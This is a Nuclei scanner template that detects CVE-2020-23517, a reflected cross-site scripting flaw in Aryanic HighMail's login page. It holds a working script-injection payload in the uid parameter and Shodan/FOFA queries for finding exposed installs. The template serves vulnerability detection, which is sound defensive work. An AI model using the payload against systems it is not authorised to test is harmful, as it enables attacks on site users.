nuclei-templates/http/cves/2020/CVE-2020-23517.yaml

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YAML

id: CVE-2020-23517
info:
name: Aryanic HighMail (High CMS) - Cross-Site Scripting
author: geeknik
severity: medium
description: A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via 'user' to LoginForm.
remediation: |
To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://vulnerabilitypublishing.blogspot.com/2021/03/aryanic-highmail-high-cms-reflected.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-23517
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-23517
cwe-id: CWE-79
epss-score: 0.00124
epss-percentile: 0.46559
cpe: cpe:2.3:a:aryanic:high_cms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: aryanic
product: high_cms
shodan-query: title:"HighMail"
fofa-query: title="HighMail"
tags: cve,cve2020,xss,cms,highmail,aryanic
http:
- method: GET
path:
- "{{BaseURL}}/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
- "{{BaseURL}}/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- 'value=""><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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